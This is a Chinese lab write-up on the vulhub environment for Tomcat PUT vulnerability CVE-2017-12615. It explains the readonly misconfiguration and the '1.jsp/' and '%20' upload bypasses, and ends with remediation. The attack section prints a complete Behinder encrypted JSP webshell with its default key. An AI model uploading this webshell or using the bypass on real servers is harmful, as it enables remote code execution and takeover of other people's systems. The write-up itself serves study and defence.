tomcat put 漏洞【CVE-2017-12615】


vul靶场文件所在位置:vulhub/tomcat/CVE-2017-12615

漏洞简述

漏洞的产生是由于配置不当(非默认配置),将配置文件(conf/web.xml)中的readonly设置为了false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀。通过上传的 JSP 文件 ,可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险

靶场环境

  1. 进入容器
    docker exec -it 8e9 /bin/bash
  2. 检查tomcat配置文件:
    在这里插入图片描述
    可见readonly为false。此时,可以通过 PUT / DELETE 进行文件操控。

漏洞利用

  1. 抓取OPTIONS包:
    在这里插入图片描述
    发现存在PUT方法。
  2. 测试一下PUT方法:
    在这里插入图片描述在这里插入图片描述
    上传成功!
  3. 尝试上传jsp文件:
    在这里插入图片描述
    失败。

原因为:
org.apache.jasper.servlet.JspServlet:默认处理jsp,jspx文件请求,不存在PUT上传逻辑,无法处理PUT请求
org.apache.catalina.servlets.DefaultServlet:默认处理静态文件(除jsp,jspx之外的文件),存在PUT上传处理逻辑,可以处理PUT请求。
所以我们即使可以PUT一个文件到服务器但也无法直接PUT以jsp,jspx结尾文件,因为这些这些后缀的文件都是交由JspServlet处理的,它没法处理PUT请求。

但是当我们利用Windows特性以下面两种方式上传文件时,tomcat并不认为其是jsp文件从而交由DefaultServlet处理,从而成功创建jsp文件,这也就是所谓的CVE-2017-12615漏洞。

  • 给文件后缀加一个 “ / ” ,变为 1.jsp/:
    在这里插入图片描述
    上传成功。
    因为 / 在文件名中是非法的,会被去除(Linux/Windows)
  • 结尾加%20
    因为Windows下不允许文件以空格结尾
    以PUT /x.jsp%20 HTTP/1.1上传到windows会被自动去掉末尾空格。
    而在访问文件时,也需要加上%20

进行攻击

  1. 准备好jsp木马:我这里使用的是冰蝎4.0.6版本的shell.jsp木马
    在这里插入图片描述

<%@page
import=“java.util.,javax.crypto.,javax.crypto.spec.*”%><%!class U
extends ClassLoader{U(ClassLoader c){super©;}public Class g(byte
[]b){return super.defineClass(b,0,b.length);}}%><%if
(request.getMethod().equals(“POST”)){String
k=“e45e329feb5d925b”;/该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond/session.putValue(“u”,k);Cipher
c=Cipher.getInstance(“AES”);c.init(2,new
SecretKeySpec(k.getBytes(),“AES”));new
U(this.getClass().getClassLoader()).g(c.doFinal(new
sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

  1. 复制下来并上传:
    在这里插入图片描述

  2. 使用冰蝎连接:
    在这里插入图片描述
    成功拿到shell。

漏洞修复

  1. 配置readonly和VirtualDirContext值为True或注释参数,禁止使用PUT方法并重启tomcat
    注意:如果禁用PUT方法,对于依赖PUT方法的应用,可能导致业务失效。
  2. 及时更新补丁。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值